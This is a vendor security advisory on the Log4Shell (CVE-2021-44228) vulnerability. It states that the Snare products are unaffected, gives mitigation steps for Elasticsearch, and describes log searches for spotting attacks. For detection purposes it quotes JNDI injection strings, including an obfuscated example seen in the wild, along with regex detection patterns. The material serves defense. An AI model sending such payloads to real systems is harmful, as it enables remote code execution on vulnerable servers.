Snare Log4j/Log4Shell vulnerability CVE-2021-44228
- Steve Challans
The recent vulnerability report called Log4j is a critical vulnerability for Java based applications as it can lead to a RCE depending on the configuration of the system. There is active exploitation in the wild and systems are having various Trojans, ransomware and crypto miners etc have been known to be loaded.
Some details on the vulnerability are:
https://www.cisa.gov/news/2021/12/11/statement-cisa-director-easterly-log4j-vulnerability
https://github.com/cisagov/log4j-affected-db
https://logging.apache.org/log4j/2.x/security.html
https://discuss.elastic.co/t/delete-log4j-api-2-11-1-jar-cve-2021-44228-esa-2021-31/291711
The Snare Agents are not vulnerable to the Log4j vulnerability. The Snare Agents do not use any Java, Apache, IIS or .Net based components and has minimal third party based libraries such as OpenSSL as they are based on C++ code base so this reduces the attack surface. All third party modules are updated regularly as part of software updates and depending if a vulnerability is detected in one of these modules.
The Snare Central software central log management and reporting system is also not vulnerable in its default configuration as its not running any Java components by default. However if a customer has enabled the Elasticsearch option used for the add on Analytics application then it can raise the risk. The Elasticsearch access is restricted by an authentication proxy and is not directly accessible from the network. The only direct access method is via an existing shell on the server or from the system console.
From the Elasticsearch advisory
Elasticsearch
Elasticsearch is not susceptible to remote code execution with this vulnerability due to our use of the Java Security Manager. Elasticsearch on JDK8 or below is susceptible to an information leak via DNS which is fixed by a simple JVM property change. The information leak does not permit access to data within the Elasticsearch cluster.
Suggested mitigation for Snare Central installs if Elasticsearch has been enabled.
Update the /etc/elasticsearch/jvm.options file with the additional parameter in the log4j section around line.
-Dlog4j2.formatMsgNoLookups=true
Restart elasticsearch once the file has been saved with
“service elasticsearch restart” or “systemctl restart snare.service”.
We will incorporate this update mitigation in the next patch for Snare Central.
Customers can also remove the java class from the system as well but this may affect the operation of elastic. If its not required then you can remove the following file.
login as root user, then “rm /usr/share/elasticsearch/lib/log4j-core-2.11.1.jar” , save a copy of it in the /home/snare location in case you need to recover it.
Customers can edit the jar file. It is basically a zip file of classes. Take a copy of it in case you need to restore it for some reason. Elastic will continue to function with this option removed but will just have the log4j2 query options removed for the Jndi class which is where the vulnerability is. We are not aware of any direct vulnerability in Snare Central for this, but this is just an extra mitigation for those that are concerned.
cd /usr/share/elasticsearch/lib and run the following command
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
now restart elasticsearch “/etc/init.d/elasticsearch restart”
Patching elasticsearch to 6.8.22 can also mitigate the issues and update the java class for log4j to 2.17.0.
How to use Snare Central to detect Log4j attacks.
You can use the dynamic search option to look for JNDI and LDAP requests in the webserver logs you collect using the Snare Agents using a query similar to the following:
DATE>='5' AND TABLE = 'WebLog' AND ALLFIELDS REGEXI 'JNDI|LDAP'
This will search the WebLogs that the Snare Agents are collecting from IIS or Apache systems for the last 5 days, its a case insensitive search. You can adjust the timeframe to suit. Indications are that attacks have been occurring since December 1st to check all the logs since then.
Typically the logs will show something in this form in the logs
${jndi:ldap://{malicious website}/a}
Other application logs should also be reviewed for other patterns such as:
${jndi:ldap:/}
${jndi:ldaps:/}
${jndi:rmi:/}
${jndi:dns:/}
${jndi:iiop:/}
So you can run an extended search using the following:
DATE>='13' AND TABLE = 'WebLog' AND ALLFIELDS REGEXI 'jndi:(ldap|ldaps|rmi|dns|iiop|\$)'
Some examples of activity seen in logs”
${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}
${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback
Proxy Logs
Proxy logs can be searched using the standard reports where the logs were collected using the Snare agents. the proxy logs maybe a path to the Internet to access malicious content, or used to exfiltrate data. By reviewing the top sites or users it may highlight who and where the activity was coming from for compromised users and systems. The standard reports are located here
Reports\Application Audit\Proxy Servers
User Lateral Movement
Logins to other systems can be detected using the standard login reports to show which systems users are logging into. The report can be cloned as many times as needed with each of them having additional filters applied for specific users or groups of users to filter down to specific user account logging in to multiple systems. This could be an indication of account compromise if the user access was not legitimate. Out of hours login reports can also be run to see which accounts are being used in non standard working hours when the accounts would not normally be used. Location for user login activity is found here for Windows and other operating systems.
Reports\Operating Systems\Login Activity
User and group changes can also be tracked and reported on. One of the changes the malware does is to change or add users to have privileged access. Tracking if users have been added or removed, system policy changes occurring, audit logs being cleared can be a sign of malicious activity with the attacker trying to hide their tracks, group and group member changes as well as specific user changes for additional access. Snare Central has reports for tracking administrative user activity located here:
Reports\Operating Systems\Administrative Activity
Process Execution
Reviewing process execution can be complicated in understanding what are normal applications used on the corporate network what is not. However getting context of what is run then seeing what is abnormal can be done with reviewing the activities of the key systems then expand to review other systems as needed. Where application white listing has been implemented the risk maybe lower, but not all organisations have been able to white list all application usage. Snare Central has some base reports that allow the user to show what commands are being run on the systems. If the customer has sysmon also installed (https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon ) then it will provide additional information and parameters used in commands that are run including PowerShell commands. The reports can be cloned as many times as needed and adjusted with additional filters to search for specific applications or exclude known whitelisted applications and then report on other unknown applications. Location for process Monitoring can be found here:
Reports\Operating Systems\Process Monitoring
Network Activity Monitoring
Where Snare Central is collecting firewall, router, switch and other logs from snort or other IDS/IPS systems it can help correlate actions performed by systems and/or users to show where downloads of malicious content or where data is being exfiltrated to. Reports can be created for a variety of network devices with filters being created to look for specific IP addresses of interest from either internal or external sites. In the case of this attack and any other compromised server may help narrow down what the actions were and how they were performed on the corporate network. Some of the standard Network activity monitoring reports can be found here:
Reports\Network
Database Activity Monitoring
Database Activity Monitoring as provided using our Snare MS SQL agent can help provide additional information on what corporate data was accessed inside the MS SQL Server databases. By tracking the access to the databases and reviewing the contents of the SQL commands and who was running them it can provide additional forensics combined with the other user activity performed on the systems. There are several standard reports in Snare Central that provide details on Admin and DBA activity, Database Activity and usage for specific commands. Users can report on login activity, use of user rights, review specific SQL events, report on objects accessed by using custom reports and tune them based on the customers specific naming conventions. Some of the standard reports can be found here:
Reports\Application Audit\MSSQL Server
For additional information please contact our sales team via the email contacts on https://www.snaresolutions.com
Steve Challans
CISO
Prophecy International.